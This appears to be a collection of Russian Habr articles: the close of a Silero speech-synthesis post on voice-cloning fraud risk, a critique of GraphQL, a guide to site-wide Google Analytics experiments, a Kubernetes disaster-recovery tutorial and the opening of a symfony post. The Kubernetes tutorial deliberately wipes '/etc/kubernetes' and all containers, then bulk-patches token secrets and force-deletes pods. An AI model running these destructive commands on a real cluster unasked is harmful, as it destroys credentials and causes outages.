* В оригинале это был недельный звонок в Телеграме, я говорил быстро и без дикции;
### Теплый старт на нормальном количестве аудио
Вводные:
* Известный язык (русский), без акцента и прочих сложностей;
* Нормальное количество аудио (от 5 минут до нескольких часов);
* Хорошее качество и микрофон, но шум на фоне;
* Не очень хорошая дикция;
### В.И. Ленин
Вводные:
* Мало аудио, аудио записано около 100 (!) лет назад (в 1919—1921 годах);
* Для аудио столетней давности, качество очень высокое;
* Шума на фоне не слышно, но есть сильные артефакты записи (пластинки или цилиндра);
* Очень своеобразная манера разговора, длинные фразы, небольшие проблемы с дикцией;
* Поскольку дедушка Ленин этими речами поднимал людей на трудовые подвиги, речь очень "неровная" и отчасти эмоциональная;
### Голоса бабушки и дедушки
* Мало аудио (20-30 минут на человека);
* Средней руки микрофон (3000 рублей), небольшой шум и эхо;
* Записывали мои бабушка и дедушка. Они уже в возрасте, поэтому это вносит некие коррективы;
* Синтез немного хромает, но очень четко передает манеру их речи;
* Они оба не далеко не дикторы, но старались просто четко литературно читать предложения без особых изысков;
### Более качественное говорение на другом языке
* Самая главная недавняя находка наших изысканий — дикторы могут говорить на других языках гораздо качественнее;
* Тут приведен самый яркий пример этого прогресса на английском языке. Просто послушайте;
* Примеры даны парами — сначала аудио примерно соответствующее нашей старой публичной мультиспикерной модели, а потом новая улучшенная модель;
### Более качественное говорение на другом языке 2
* Аналогичный пример, но с другими языками;
Существует ли массовая опасность со стороны "ИИ"
------------------------------------------------
Короткий ответ именно для вас — пока вероятно нет.
Длинный ответ — it depends. Наши примеры и опыт (у нас не по 10-30 фразам конечно, но 5-15 минутам, что тоже немного) и примеры из [статьи](http://arxiv.org/abs/2109.09598) подсказывают, что:
* Ключевым является именно качество аудио, его все-таки надо еще где-то взять (аудио и видео с хорошим звуком люди обычно не постят направо-налево);
* У реальных продакшен систем там относительно низкие шансы успеха атак даже на качественных студийных аудио;
* При атаке на другом языке / акценте / диалекты шансы успеха еще падают;
* В случае простых атак… можно просто записать голос и проиграть, зачем париться (и почему мы не слышали про массовое применение таких атак);
Ну то есть получается, что сделать качественную копию вашего голоса неотличимую от вашего голоса по телефону можно. И мы это неоднократно демонстрировали даже на относительно малом числе аудио.
Но чтобы постоянно атаковать миллионы людей подходят наверное только zero-shot системы. А они ограничиваются тем, что нужно во-первых разбираться в них (а публичные системы всегда хуже чем коммерческие), а во-вторых все-таки надо собрать качественные примеры аудио для всех атакуемых.
Наверное в случае какой-то массовой дыры в горячо любимой всеми социальной сети такой сценарий отдаленно возможен, но почему тогда идти по сложному пути, когда просто фишинговые письма + вирусы + СМС кажутся гораздо более эффективным инструментом "сужения" воронки. А голосовые интерфейсы все-таки еще не нашли массового применения. Наверное потому, что разумные люди понимают, что голос — это не уникальный ключ, и существуют люди, которые умеют имитировать чужие голоса.
И на всякий случай очевидная мысль — если ваш банк использует голос в качестве единственного (а не составного ключа, допустим из телефона, 2FA и SMS) ключа — то немедленно бегите. А если проверка еще text-independent (то есть сказать можно любую фразу) или только по одной фиксированной не меняющейся фразе (без какого-то сценария в духе "прочитайте эти три слова или решите капчу 2 + 3 = ?"), то это обходится банально записью одного телефонного разговора с вами по нужному сценарию. По этой причине — не только не берите трубку, когда вам звонят из "службы поддержки Сбербанка", но если взяли — не говорите ни в коем случае и не ведите пространные беседы.
Новости нашего синтеза
----------------------
### Публичные голоса народов СНГ
Вместе с комьюнити мы сделали и опубликовали полностью [уникальные модели](https://github.com/snakers4/silero-models#text-to-speech) языков народов СНГ:
* Башкирский (`aigul_v2`);
* Калмыцкий (`erdni_v2`);
* Татарский (`dilyara_v2`);
* Узбекский (`dilnavoz_v2`);
Мы также попробовали сделать украинский голос на публичных данных (из аудиокниг), но там получилось весьма посредственное качество (все остальные голоса люди записали с нуля).
Некоторые модели звучат почти идеально, некоторые похуже. Обычно это связано со стабильностью дикции. Но поскольку дикторы участвовали в этом на общественных началах, сложно было приставлять к ним "войс-коучей" и вообще стоять над душой.
На каждый голос мы использовали от 1 до 6 часов записей. Это модели без автоматической простановки ударения, они чуть быстрее как и все V2 модели.
К сожалению пока публичного украинского языка не будет, но просто в качестве дразнилки, вот пример того как это может звучать (автор голоса не разрешил нам публиковать модель) на голосе профессионального диктора:
Воспользоваться моделями можно [по ссылке](https://github.com/snakers4/silero-models#text-to-speech) или напрямую в Colab [](https://colab.research.google.com/github/snakers4/silero-models/blob/master/examples_tts.ipynb).
### Улучшенные и приватные голоса
Когда мы делали публичный релиз нашего синтеза номер два у нас был нелегкий выбор между:
* Работой с комьюнити, чтобы создать хоть какие-то голоса народов СНГ;
* Увеличение скорости (которое всё еще не вышло сделать до конца);
* Качеством существующих голосов;
В силу малого количества свободных ресурсов, мы решили пожертвовать качеством публичных моделей. И в ретроспективе мы не прогадали, так как потом люди стали присылать ссылки на паблики в социальных сетях, где люди пытаются "учить" других людей, как заниматься телефонным мошенничеством с использованием наших голосов. Понятно, что паблики эти условно мертвые (40 подписчиков), но направление мысли в принципе понятно и коррелирует с трендами.
По этой причине скорее всего максимально качественные модели на русском языке (особенно для своих коммерческих голосов) выкладывать мы больше не будем.
Тем не менее максимально возможное качество получилось еще улучшить, послушайте:
Дальнейшая работа
-----------------
С тех пор данных для синтеза на разных языках у нас стало сильно много (больше, чем железа), но мы решили полностью сконцентрироваться на так сказать technology push-e, на качестве, а не количестве.
**Текущий чеклист:**
* ~~Еще большее снижение требований по данным~~;
* ~~Добавление малых языков и языков народностей России и СНГ по мере сбора датасетов~~;
* ~~Дальнейшая работа над качеством~~ (в следующем большом релизе будет сюрприз!);
* Высота голоса и скорость;
* Радикальное ускорение моделей (10+ раз);
* Эмоции, управление интонацией;
* Добавление новых голосов по мере появления открытых голосов на других языках;
Последний пункт является по сути низко висящим фруктом (нужно просто вложить много вычислительных ресурсов и грамотно продумать каскад моделей), но мы решили отложить его до решения всех остальных задач и закрытия ряда проектов. | https://habr.com/ru/post/584750/ | null | ru | null |
# Что не так с GraphQL
В последнее время GraphQL набирает всё большую популярность. Изящный синтаксис запросов, типизация и подписки.
Кажется: *"вот оно — мы нашли идеальный язык обмена данными!"*...
Я разрабатываю с использованием этого языка уже больше года, и скажу вам: всё далеко не так гладко. В GraphQL есть как просто неудобные моменты, так и действительно фундаментальные проблемы в самом дизайне языка.
С другой стороны, большая часть таких "дизайнерских ходов" была сделана не просто так — это было обусловлено теми или иными соображениями. По факту, GraphQL — не всем подойдет, и может оказаться совсем не тем инструментом, который вам нужен. Но обо всём по порядку.
> Думаю, что стоит сделать небольшую ремарку относительно того, где я применяю данный язык. Это довольно сложная SPA-админка, большая часть операций в которой — это довольно нетривиальный CRUD (сложновложенные сущности). Значительная часть аргументации в данном материале связана именно с характером приложения и характером обрабатываемых данных. В приложениях другого типа (или с другим характером данных) таких проблем может и не возникнуть в принципе.
1. NON\_NULL
------------
Это не то, чтобы серьезная проблема. Скорее это целая серия неудобств связанных c тем как организована работа с nullable в GraphQL.
Есть в функциональных (и не только) языках программирования, такая парадигма — монады. Так вот, есть там такая штука, как монада `Maybe` (Haskel) или `Option`(Scala), Суть в том, что содержащееся внутри такой монады значение, может существовать, а может и не существовать (то есть быть null'ом). Ну или это может быть реализовано через enum, как в Rust'е.
Так или иначе, а в большинстве языков это значение, которое "оборачивает" исходное, делает null дополнительным вариантом к основному. Да и синтаксически — это всегда дополнение к основному типу. Это не всегда именно отдельный класс типа — в некоторых языках это просто дополнение в виде суффикса или префикса `?`.
В GraqhQL всё наоборот. Все типы по умолчанию nullable — и это не просто пометка типа как nullable, это именно монада `Maybe` наоборот.
И если мы рассмотрим участок интроспекции поля `name` для вот такой схемы:
```
# в примерах далее я буду опускать schema - будем считать, что это очевидно
schema {
query: Query
}
type Query {
# здесь восклицательный знак как раз обозначает NonNull
name: String!
}
```
то обнаружим:
Тип `String` обернут в `NON_NULL`
### 1.1. OUTPUT
Почему именно так? Если коротко — это связано, с "толерантным" по умолчанию дизайном языка (в числе прочего — дружелюбным к микросервисной архитектуре).
Чтобы понять суть этой "толерантности", рассмотрим чуть более сложный пример, в котором все возвращаемые значения строго обернуты в NON\_NULL:
```
type User {
name: String!
# Обращаем внимание: это ненулевое поле содержащее колекцию ненулевых пользователей.
friends: [User!]!
}
type Query {
# Обращаем внимание: это ненулевое поле содержащее колекцию ненулевых пользователей.
users(ids: [ID!]!): [User!]!
}
```
Предположим, что у нас есть сервис, возвращающий список пользователей, и отдельный микро-сервис "дружбы", который возвращает нам сопоставление для друзей пользователя. Тогда, в случае отказа сервиса "дружбы", мы вообще не сможем вывести список пользователей. Нужно исправить ситуацию:
```
type User {
name: String!
# Убрали восклицательный знак - допускаем null вместо списка друзей.
# Теперь если сервис "дружбы" упадет - мы всё равно сможем вернуть пользователя, хотябы и без друзей.
friends: [User!]
}
```
Вот это и есть толерантность к внутренним ошибкам. Пример, конечно, надуманный. Но надеюсь, что суть вы ухватили.
Кроме того, можно немного облегчить себе жизнь в других ситуациях. Предположим, что есть удаленные пользователи, а айдишники друзей могут хранится в какой-то внешней не связанной структуре. Мы могли бы просто отсеять и вернуть только то, что есть, но тогда мы не сможем понять что именно было отсеянно.
```
type Query {
# Допускаем null в списке пользователей.
# Теперь мы сможем сопоставить коллекцию идентификаторов с коллекцией пользователей по индексам и понять какие айдишники устарели.
users(ids: [ID!]!): [User]!
}
```
*Всё ок. А в чем проблема-то?*
В общем, не очень большая проблема — так вкусовщина. Но если у вас монолитное приложение с реляционной бд, то скорее всего ошибки — это действительно ошибки, а апи должно быть максимально строгим. Здравствуйте, восклицательные знаки! Везде, где можно.
Я бы хотел иметь возможность "инвертировать" это поведение, и расставлять вопросительные знаки, вместо восклицательных ) Привычнее было бы как-то.
### 1.2. INPUT
А вот при вводе, nullable — это вообще отдельная история. Это косяк уровня checkbox в HTML (думаю, что все помнят эту неочевидность, когда поле неотмеченного чекбокса просто не отправляется на бэк).
Рассмотрим пример:
```
type Post {
id: ID!
title: String!
# Обращаем внимание: поле описания может содержать null
description: String
content: String!
}
input PostInput {
title: String!
# Обращаем внимание: поле описания не является обязательным, для ввода
description: String
content: String!
}
type Mutation {
createPost(post: PostInput!): Post!
}
```
Пока всё нормально. Добавим update:
```
type Mutation {
createPost(post: PostInput!): Post!
updatePost(id: ID!, post: PostInput!): Post!
}
```
А теперь вопрос: что нам ожидать от поля description при апдейте поста? Поле может быть null, а может вообще отсутствовать.
Если поле отсутствует, то что нужно сделать? Не обновлять его? Или установить его в null? Суть в том, что разрешить значение null и разрешить отсутствие поля — это разные вещи. Тем не менее в GraphQL — это одно и тоже.
2. Разделение ввода и вывода
----------------------------
Это просто боль. В модели работы CRUD, ты получаешь объект с бэка "подкручиваешь" его, и отправляешь назад. Грубо говоря, это один и тот же объект. Но тебе просто придется описать его дважды — на ввод и на вывод. И с этим ничего нельзя сделать, кроме как написать генератор кода под это дело. Я бы предпочел разделять на "вводимы и выводимые" не сами объекты, а поля объекта. Например модификаторами:
```
type Post {
input output text: String!
output updatedAt(format: DateFormat = W3C): Date!
}
```
или используя директивы:
```
type Post {
text: String!
@input @output
updatedAt(format: DateFormat = W3C): Date!
@output
}
```
3. Полиморфизм
--------------
Проблемы разделения типов на вводимые и выводимые не ограничиваются двойным описанием. В то время, как для выводимых типов можно определить обобщенные интерфейсы:
```
interface Commentable {
comments: [Comment!]!
}
type Post implements Commentable {
text: String!
comments: [Comment!]!
}
type Photo implements Commentable {
src: URL!
comments: [Comment!]!
}
```
или юнионы
```
type Person {
firstName: String,
lastName: String,
}
type Organiation {
title: String
}
union Subject = Organiation | Person
type Account {
login: String
subject: Subject
}
```
Сделать тоже самое для вводимых типов нельзя. Для этого есть ряд предпосылок, но отчасти это связано и с тем, что в качестве формата данных при транспорте используется json. Тем не менее, при выводе, для конкретизации типа используется поле `__typename`. Почему нельзя было сделать тоже самое при вводе — не очень понятно. Мне кажется, что эту проблему можно было бы решить немного изящнее, отказавшись от json при транспорте и введя свой формат. Что-то в духе:
```
union Subject = OrganiationInput | PersonInput
input AccountInput {
login: String!
password: String!
subject: Subject!
}
```
```
# Создание акаунта для организации
{
account: AccountInput {
login: "Acme",
password: "***",
subject: OrganiationInput {
title: "Acme Inc"
}
}
}
```
```
# Создание акаунта для частного лица
{
account: AccountInput {
login: "Acme",
password: "***",
subject: PersonInput {
firstName: "Vasya",
lastName: "Pupkin",
}
}
}
```
Но это породило бы необходимость написания дополнительных парсеров под это дело.
4. Дженерики
------------
А что не так в GraphQL c дженериками? А всё просто — их нет. Возьмем до банального обычный для CRUD индексный запрос с пагинацией или курсором — не важно. Я приведу пример с пагинацией.
```
input Pagination {
page: UInt,
perPage: UInt,
}
type Query {
users(pagination: Pagination): PageOfUsers!
}
type PageOfUsers {
total: UInt
items: [User!]!
}
```
а теперь для огранизаций
```
type Query {
organizations(pagination: Pagination): PageOfOrganizations!
}
type PageOfOrganizations {
total: UInt
items: [Organization!]!
}
```
и так далее… как бы я хотел иметь для этого дела дженерики
```
type PageOf {
total: UInt
items: [T!]!
}
```
тогда бы я просто писал
```
type Query {
users(page: UInt, perPage: UInt): PageOf!
}
```
Да тонны применений! Мне ли вам рассказывать о дженериках?
5. Неймспейсы
-------------
Их тоже нет. Когда количество типов в системе перваливает за полторы сотни, вероятность коллизий имен стремится к ста процентам.
И появляются всякие `Service_GuideNDriving_Standard_Model_Input`. Я уж не говорю о полноценных неймспейсах на разных эндпоинтах, как в SOAP (да-да — он ужасен, но неймспейсы там сделаны прекрасно). А хотябы несколько схем на одном эндпоинте с возможностью "шарить" типы между схемами.
Итого
-----
GraphQL — хороший инструмент. Он прекрасно ложится на толерантную, микросервисную архитектуру, которая ориентирована, в первую очредь, на вывод информации, и несложный, детерминированный ввод.
Если же у вас имеются полиморфные сущности на ввод — у вас могут возникнуть проблемы.
Разделение типов ввода и вывода, а также отсутствие дженериков — порождают кучу писанины на пустом месте.
Graphql — это не совсем (а бывает и *совсем не*) про CRUD.
Но это не значит, что его нельзя есть :)
В следующем материале, я хочу рассказать о том, как я сражаюсь (и иногда успешно) с некоторыми из описанных выше проблем. | https://habr.com/ru/post/425041/ | null | ru | null |
# Контент-эксперименты в Google Analytics для всего сайта одновременно
У большинства из нас наступает время, когда нам необходимо запустить [эксперимент](https://support.google.com/analytics/answer/1745147?hl=ru) в Google Analytics чтобы понять, что работает самым лучшим образом для нашего сайта. Пожалуй, когда речь заходит о контент-экспериментах, мы чаще всего слышим о посадочных страницах и оптимизации их элементов (кнопки, призывы к действию и так далее).
Как мы это делаем? Мы просто берем кусок JavaScript-кода, который Google Analytics любезно генерирует для нас, и добавляем в тег нашего сайта. Данный код просто-напросто перенаправляет часть пользователей на альтернативную (тестируемую) страницу, добавляя при этом определенный параметр к URL-у этой страницы. Этот параметр позволяет Google Analytics понимать, какие из пользователей видели оригинальную страницу, а какие — альтернативную. Все мы это знаем. Это очень просто.
И наш отвратительный параметр:
Задумывались ли вы о том, как нам проводить подобные эксперименты, если нам необходимо протестировать элемент, который присутствует и на других страницах сайта?
Давайте представим, что вам необходимо протестировать главное меню сайта (его цвет, количество элементов в нем и так далее). Мы могли бы создать альтернативную страницу с новой версией меню и направлять туда часть пользователей. Но что увидят пользователи, которые были направлены на альтернативную страницу, и затем им вздумалось перейти куда-либо еще? Они по прежнему увидят оригинальное меню. Жонглировать меню таким образом — не очень хороший тон и может только запутать.
Вот пользователь пытается посетить страницу нашего сайта во время эксперимента:
… и сразу же перенаправляется на альтернативную версию с новым меню:
Затем, пользователь решает пойти в другой раздел сайта, где он по-прежнему видит оригинальное меню:
К счастью, у нас есть способ избежать таких казусов.
Пару слов о контент-экспериментах без редиректов
------------------------------------------------
Если ты бывалый эксперт Google Analytics с кое-какими техническими навыками, тебе уже, возможно, известно, благодаря официальной документации, о так называемых [экспериментах без редиректов](https://developers.google.com/analytics/solutions/experiments-client-side). Они позволяют нам тестировать различные элементы на странице без необходимости перенаправлять пользователей на другую страницу. Данный «трюк» можно выполнить, имея хотя бы элементарные знания Javascript и HTML. Это самый элегантный способ проводить такого рода эксперименты.
Я рекомендую хотя бы поверхностно пробежаться по [материалу](https://developers.google.com/analytics/solutions/experiments-client-side) на эту тему, прежде чем мы продолжим, но если у вас нет настроения, я попытаюсь вкратце описать все ниже.
Итак, вы настраиваете эксперимент через интерфейс Google Analytics, но вместо реальных страниц на вашем сайте, вы указываете «пустышки» (поскольку у нас не будет страниц, куда пользователь будет перенаправляться). Нам обязательно нужно указать эти пустышки — GA будет собирать и присваивать данные этим вариациям, как обычно.
Затем, из настроек эксперимента вы копируете **Experiment Key** и используете его для подгрузки библиотеки эксперимента:
Cразу под этой подгрузкой, вы вставляете небольшой код, который позволит вам присваивать пользователей к определенной группе эксперимента:
```
cxApi.setDomainName('.sendpulse.com');
cxApi.setCookiePath('/');
cxApi.chooseVariation();
var experiment\_group = cxApi.getChosenVariation();
```
Когда пользователь присваивается к определенной группе, данная информации сохраняется в куку эксперимента и затем ему всегда показывается одна версия элемента (независимо от страницы). Информация о том, к какой группе был присвоен пользователь, отсылается в Google Analytics стандартным способом, во время обращения к серверу вместе с **pageview** (просмотром страницы).
Каковы достоинства экспериментов без редиректов
-----------------------------------------------
1. Вы избегаете гнусных редиректов и гадких параметров в ваших URL-ах
2. Такие эксперименты лучше сказываются на скорости загрузки страницы
3. Данный способ позволяет проводить эксперимент не на одной странице, а на всем сайте одновременно
Каковы достоинства эксперимента на всем сайте одновременно
----------------------------------------------------------
1. Возможность тестировать элементы, которые отображаются на всех страницах сайта, при этом сохраняя их постоянство для одного пользователя
2. Возможность собирать данные для выводов по эксперименту гораздо быстрей, поскольку мы будем экспериментировать на основании **трафика всего сайта**, а не отдельной страниц
Детальное пошаговое объяснение экспериментов на всем сайте одновременно
-----------------------------------------------------------------------
Все, что вам необходимо сделать для того, чтобы проводить эксперимент на всем сайте — это добавить код экспериментов без редиректа на всех страницах сайта. Логично, не так ли?
Обычно, это делается путем вставки кода в шаблон хэдера («шапки») сайта. Данному коду абсолютно безразлично, на какой странице он находится — все, что ему нужно, это присвоить пользователя к определенной группе и отправить данные об этой группе в Google Analytics. Когда пользователь впервые посещает сайт и видит одну из версий тестируемого элемента, данная информация сохраняется в куку, и во время всех последующих «контактов» с тестируемым элементом на любой из страниц сайта, он всегда будет видеть тот вариант, который он видел ранее.
Давайте вернемся к станку, и я покажу вам практическое применение данного подхода.
Настраиваем эксперимент
-----------------------
Нам необходимо протестировать различные цвета кнопки регистрации на нашем сайте (зеленый, красный, желтый). Кнопка отображается в самом верху сайта на всех его страницах. Следовательно, нам следует позаботиться о том, чтобы пользователь видел одинаковый цвет кнопки везде и всегда. Критерий эксперимента — нажатия на кнопке регистрации.
### Настройки в интерфейсе
Итак, создаем эксперимент в Google Analytics.
Как видите, мы указали адреса несуществующих страниц, потому что GA обязывает нас делать это. Но не беспокойтесь — хотя эти настройки не пройдут верификации, эксперимент будет прекрасно работать и выполнять свою роль.
Не забудьте скопировать Experiment ID — он нам понадобится.
### Редактируем исходный код сайта
Давайте загрузим библиотеку для проведения экспериментов, используя наш Experiment ID, а затем вызовем несколько функций этой библиотеки, которые будут присваивать пользователя к группе эксперимента:
Теперь, добавим кое-какой код логики, которая будет менять цвет кнопки в зависимости от группы, к который был присвоен пользователь.
Данный код всего лишь меняет CSS class кнопки в завимости от группы эксперимента, к которой присвоен пользователь. Естественно, вам необходимо создать два дополнительных класса для кнопки.
Самое главное, что вам необходимо помнить — весь код должен быть добавлен в шаблон шапки вашего сайта, **чтобы они присутствовал на всех страницах** (в пределах тегов , как и в случае со стандартным кодом эксперимента).
Теперь пользователь, который участвует в эксперименте, всегда будет видеть кнопку одного цвета.
Жмем «Start» в настройках эксперимента. Помните — смело игнорируйте сообщения об ошибках валидации (но при этом собственноручно убедитесь, что вы все сделали правильно).
Вот и все. Удачного экспериментирования! | https://habr.com/ru/post/313792/ | null | ru | null |
# Ломаем и чиним Kubernetes
**Kubernetes** отличная платформа как для оркестрации контейнеров так и для всего остального. За последнее время Kubernetes ушёл далеко вперёд как по части функциональности так и по вопросам безопасности и отказоустойчивости. Архитектура Kubernetes позволяет с лёгкостью переживать сбои различного характера и всегда оставаться на плаву.
Сегодня мы будем ломать кластер, удалять сертификаты, вживую реджойнить ноды и всё это, по возможности, без даунтайма для уже запущенных сервисов.
---
Итак приступим. Основной control-plane Kubernetes состоит всего из нескольких компонентов:
* **etcd** - используется в качестве базы данных;
* **kube-apiserver** - API и сердце нашего кластера;
* **kube-controller-manager** - производит операции над Kubernetes-ресурсами;
* **kube-scheduler** - основной шедуллер;
* **kubelet'ы** - которые непосредственно и запускают контейнеры на хостах.
Каждый из этих компонентов защищён набором TLS-сертификатов, клиентских и серверных, которые используются для аутентификации и авторизации компонентов между собой. Они не хранятся где-либо в базе данных Kubernetes, за исключением определенных случаев, а представлены в виде обычных файлов:
```
# tree /etc/kubernetes/pki/
/etc/kubernetes/pki/
├── apiserver.crt
├── apiserver-etcd-client.crt
├── apiserver-etcd-client.key
├── apiserver.key
├── apiserver-kubelet-client.crt
├── apiserver-kubelet-client.key
├── ca.crt
├── ca.key
├── CTNCA.pem
├── etcd
│ ├── ca.crt
│ ├── ca.key
│ ├── healthcheck-client.crt
│ ├── healthcheck-client.key
│ ├── peer.crt
│ ├── peer.key
│ ├── server.crt
│ └── server.key
├── front-proxy-ca.crt
├── front-proxy-ca.key
├── front-proxy-client.crt
├── front-proxy-client.key
├── sa.key
└── sa.pub
```
Сами компоненты описаны и запускаются на мастерах как [static pods](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/) из директории `/etc/kubernetes/manifests/`
На этом месте не будем останавливаться подробно, т.к. это тема для отдельной статьи. В данном случае нас в первую очередь интересует как из этого всего добра получить рабочий кластер. Но для начала давайте немного абстрагируемся, и представим что у нас есть вышеперечисленные компоненты Kubernetes, которые *как-то* коммуницируют между собой.
Основная схема выглядит примерно так:
(стрелочки указывают на связи клиент --> сервер)Для коммуникации им нужны TLS-сертификаты, которые в принципе можно вынести на отдельный уровень абстракции и полностью довериться вашему инструменту деплоя, будь-то **kubeadm**, **kubespray** или что либо ещё. В этой статье мы разберём **kubeadm** т.к. это наиболее стандартный инструмент для развёртывания Kubernetes, а также он часто используется в составе других решений.
---
Допустим, у нас уже есть задеплоенный кластер. Начнём с самого интересного:
```
rm -rf /etc/kubernetes/
```
На мастерах данная директория содержит:
* Набор сертификатов и CA для etcd (в `/etc/kubernetes/pki/etcd`);
* Набор сертификатов и CA для Kubernetes (в `/etc/kubernetes/pki`);
* Kubeconfig для cluster-admin, kube-controller-manager, kube-scheduler и kubelet (каждый из них также имеет закодированный в base64 CA-сертификат для нашего кластера `/etc/kubernetes/*.conf`);
* Набор статик-манифестов для etcd, kube-apiserver, kube-scheduler и kube-controller-manager (в `/etc/kubernetes/manifests`).
Предположим, что мы потеряли всё и сразу.
Чиним control-plane
-------------------
Чтобы не было недоразумений, давайте также убедимся что все наши control-plane поды также остановлены:
```
crictl rm `crictl ps -aq`
```
> **Примечание**: kubeadm по умолчанию не перезаписывает уже существующие сертификаты и кубеконфиги, для того чтобы их перевыпустить их необходимо сначала удалить вручную.
>
>
Давайте начнём с восстановления etcd, так как если у нас был кворум (3 и более мастер-нод) etcd-кластер не запустится без присутствия большинства из них.
```
kubeadm init phase certs etcd-ca
```
Команда выше сгенерит новый CA для нашего etcd-кластера. Так как все остальные сертификаты должны быть им подписаны, скопируем его вместе с приватным ключом на остальные мастер-ноды:
```
/etc/kubernetes/pki/etcd/ca.{key,crt}
```
Теперь перегенерим остальные etcd-сертификаты и static-манифесты для него на всех control-plane нодах:
```
kubeadm init phase certs etcd-healthcheck-client
kubeadm init phase certs etcd-peer
kubeadm init phase certs etcd-server
kubeadm init phase etcd local
```
На этом этапе у нас уже должен подняться работоспособный etcd-кластер:
```
# crictl ps
CONTAINER ID IMAGE CREATED STATE NAME ATTEMPT POD ID
ac82b4ed5d83a 0369cf4303ffd 2 seconds ago Running etcd 0 bc8b4d568751b
```
Теперь давайте проделаем тоже самое, но для для Kubernetes, **на одной** из master-нод выполним:
```
kubeadm init phase certs all
kubeadm init phase kubeconfig all
kubeadm init phase control-plane all
cp -f /etc/kubernetes/admin.conf ~/.kube/config
```
Вышеописанные команды сгенерируют все SSL-сертификаты для нашего Kubernetes-кластера, а также статик под манифесты и кубеконфиги для сервисов Kubernetes.
Если вы используете kubeadm для джойна кубелетов, вам также потребуется обновить конфиг cluster-info в kube-public неймспейсе т.к. он до сих пор содержит хэш вашего старого CA.
```
kubeadm init phase bootstrap-token
```
Так как все сертификаты на других инстансах также должны быть подписаны одним CA, скопируем его **на остальные control-plane ноды**, и повторим вышеописанные команды **на каждой из них**.
```
/etc/kubernetes/pki/{ca,front-proxy-ca}.{key,crt}
/etc/kubernetes/pki/sa.{key,pub}
```
Кстати, в качестве альтернативы ручного копирования сертификатов теперь вы можете использовать интерфейс Kubernetes, например следующая команда:
```
kubeadm init phase upload-certs --upload-certs
```
Зашифрует и загрузит сертификаты в Kubernetes на 2 часа, таким образом вы сможете сделать реджойн мастеров следующим образом:
```
kubeadm join phase control-plane-prepare all kubernetes-apiserver:6443 --control-plane --token cs0etm.ua7fbmwuf1jz946l --discovery-token-ca-cert-hash sha256:555f6ececd4721fed0269d27a5c7f1c6d7ef4614157a18e56ed9a1fd031a3ab8 --certificate-key 385655ee0ab98d2441ba8038b4e8d03184df1806733eac131511891d1096be73
kubeadm join phase control-plane-join all
```
Стоит заметить, что в API Kubernetes есть ещё один конфиг, который хранит CA сертификат для front-proxy client, он используется для аутентификации запросов от apiserver в вебхуках и прочих aggregation layer сервисах. К счастью kube-apiserver обновляет его автоматически.
Однако возможно вы захотите почистить его от старых сертификатов вручную:
```
kubectl get cm -n kube-system extension-apiserver-authentication -o yaml
```
В любом случае на данном этапе мы уже имеем полностью рабочий control-plane.
Чиним воркеры
-------------
Эта команда выведет список всех нод кластера, хотя сейчас все они будут в статусе `NotReady`:
```
kubectl get node
```
Это потому что они по прежнему используют старые сертификаты и с ожидают запросов apiserver, подписаных старым CA. Для того чтобы это исправить мы воспользуемся kubeadm, и сделаем реджойн нод в кластер.
Когда как мастера имеют доступ к CA и могут быть присоеденены локально:
```
systemctl stop kubelet
rm -rf /var/lib/kubelet/pki/ /etc/kubernetes/kubelet.conf
kubeadm init phase kubeconfig kubelet
kubeadm init phase kubelet-start
```
То для джойна воркеров мы сгенерируем новый токен:
```
kubeadm token create --print-join-command
```
и на каждом из них выполним:
```
systemctl stop kubelet
rm -rf /var/lib/kubelet/pki/ /etc/kubernetes/pki/ /etc/kubernetes/kubelet.conf
kubeadm join phase kubelet-start kubernetes-apiserver:6443 --token cs0etm.ua7fbmwuf1jz946l --discovery-token-ca-cert-hash sha256:555f6ececd4721fed0269d27a5c7f1c6d7ef4614157a18e56ed9a1fd031a3ab8
```
> Внимание, удалять директорию `/etc/kubernetes/pki/` на мастерах не нужно, так как она уже содержит все необходимые сертификаты.
>
>
Вышеописанная процедура переподключит все ваши kubelet'ы обратно к кластеру, при этом никак не повлияет на уже запущенные на них контейнеры. Однако если у вас в кластере много нод и вы сделаете это неодновременно, у вас может возникнуть ситуация когда **controller-manager** начнёт пересоздавать контейнеры с NotReady-нод и пытаться их запустить на живых нодах кластера.
Чтобы это предотвратить мы можем временно остановить controller-manager, на мастерах:
```
rm /etc/kubernetes/manifests/kube-controller-manager.yaml
crictl rmp `crictl ps --name kube-controller-manager -q`
```
Последняя команда нужна просто для того, чтобы удостовериться что под с controller-manager действительно не запущен. Как только все ноды кластера будут присоединены мы можем сгенерировать static-manifest для controller-manager обратно.
Для этого на всех мастерах выполняем:
```
kubeadm init phase control-plane controller-manager
```
> Учтите что делать это нужно на этапе когда вы уже сгенерировали join token, в противном случае операция подключения зависнет на попытке прочитать токен из cluster-info.
>
>
В случае если kubelet настроен на получение сертификата подписанного вашим CA (опция `serverTLSBootstrap: true`), вам также потребуется заново подтвердить csr от ваших kubelet'ов:
```
kubectl get csr
kubectl certificate approve
```
Чиним ServiceAccounts
---------------------
Есть ещё один момент. Так как мы потеряли `/etc/kubernetes/pki/sa.key` - это тот самый ключ которым были подписаны jwt-токены для всех наших ServiceAccounts, то мы должны пересоздать токены для каждого из них.
Сделать это можно достаточно просто, удалив поле **token** изо всех секреты типа `kubernetes.io/service-account-token`:
```
kubectl get secret --all-namespaces | awk '/kubernetes.io\/service-account-token/ { print "kubectl patch secret -n " $1 " " $2 " -p {\\\"data\\\":{\\\"token\\\":null}}"}' | sh -x
```
После чего kube-controller-manager автоматически сгенерирует новые токены, подписаные новым ключом.
К сожалению далеко не все микросервисы умеют на лету перечитывать токен и скорее всего вам потребуется вручную перезапустить контейнеры, где они используются:
```
kubectl get pod --field-selector 'spec.serviceAccountName!=default' --no-headers --all-namespaces | awk '{print "kubectl delete pod -n " $1 " " $2 " --wait=false --grace-period=0"}'
```
Например эта команда сгенерирует список команд для удаления всех подов использующих недефолтный serviceAccount. Рекомендую начать с неймспейса `kube-system`, т.к. там установлены **kube-proxy** и **CNI-плагин**, жизненно необходимые для настройки коммуникации ваших микросервисов.
На этом восстановление кластера можно считать оконченным. Спасибо за внимание! В [следующей статье](https://habr.com/ru/post/544390/) мы подробнее рассмотрим бэкап и восстановление etcd-кластера. | https://habr.com/ru/post/541118/ | null | ru | null |
# Немного о symfony с doctrine под Linux
Начиная изучать symfony, первым делом посмотрел статьи на хабре. Есть переводы, в которых рассказано как сделать свой проект на symfony, где за основу взят sandbox. Мне интересно было разобраться, как установить и настроить symfony + doctrine имея только исходник фреймворка. Проект мне предстоит делать большой, поэтому в этой статье расскажу с чем мне удалось познакомиться.
#### 0 шаг: Общее
"/home/nutt/workspace/htdocs" — папка где будет лежать проект и куда смотрит apache.
